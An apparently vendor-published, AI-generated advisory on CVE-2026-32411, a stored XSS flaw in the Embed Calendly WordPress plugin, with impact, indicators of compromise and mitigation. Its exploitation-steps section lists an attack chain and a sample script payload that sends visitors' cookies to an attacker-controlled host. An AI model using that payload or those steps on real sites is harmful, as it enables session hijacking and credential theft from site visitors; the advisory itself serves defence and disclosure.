PHP2Shell: Read our blog on the critical RCE vulnerabilities affecting 70% of the Internet

CVE-2026-32411: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-32411 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simpma "Embed Calendly" WordPress plugin (slug: embed-calendly-scheduling). It affects all versions up to and including 4.4, and was reported by researcher Doan Dinh Van on January 25, 2026, with public disclosure on February 24, 2026 via Patchstack. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). An authenticated user with at least Contributor or Developer-level privileges can inject malicious scripts through the plugin's web page generation functionality, which are then persistently stored and rendered to site visitors without proper sanitization or output encoding. Exploitation requires low attack complexity over a network vector, but does require user interaction (a victim visiting the affected page) to trigger the stored payload (Patchstack).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of site visitors who view the compromised page, crossing security boundaries (scope changed). This can lead to session hijacking, credential theft, malicious redirects, defacement, or delivery of further malware payloads to end users. Confidentiality, integrity, and availability impacts are each rated Low, but the changed scope means the impact extends beyond the plugin itself to the broader WordPress site and its visitors (Patchstack).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Embed Calendly plugin version 4.4 or earlier, using tools like WPScan or Shodan with WordPress fingerprinting.
  2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
  3. Inject malicious payload: Navigate to the plugin's configuration or content editing interface and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a plugin input field that is stored without sanitization.
  4. Trigger execution: The malicious script is stored in the database and rendered to any site visitor who loads the affected page, executing in their browser context.
  5. Harvest results: Collect stolen session cookies, credentials, or other data from the attacker-controlled server, enabling session hijacking or further attacks (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin settings or page editing endpoints from low-privilege accounts, particularly with unusual HTML or script content in request bodies.
  • File System: Unexpected modifications to WordPress database entries (e.g., wp_posts or wp_options) containing <script> tags or encoded JavaScript payloads associated with the Embed Calendly plugin.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the Embed Calendly widget, potentially indicating active payload delivery.
  • Process/Behavior: Unusual JavaScript execution or redirects observed in browser developer tools when visiting pages with the Embed Calendly shortcode or block.

Mitigation and workarounds

Update the Embed Calendly plugin to version 4.5 or later, which contains the fix for this vulnerability. If an immediate update is not possible, restrict Contributor and Developer role access to trusted users only, or temporarily disable the plugin until patching is feasible. Patchstack users can enable auto-update for vulnerable plugins to receive protection automatically (Patchstack).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-97328HIGH7.5
  • webp-express
NoYesOct 22, 2026
CVE-2026-78392MEDIUM6.8
  • link-library
NoYesOct 22, 2026
CVE-2026-94295MEDIUM5.3
  • chikkili-google-pay-for-woocommerce
NoNoOct 22, 2026
CVE-2026-114570MEDIUM4.9
  • cpe:2.3:a:wordpress:wordpress
NoYesOct 22, 2026
CVE-2026-88849LOW2.7
  • masterstudy-lms-learning-management-system
NoYesOct 22, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management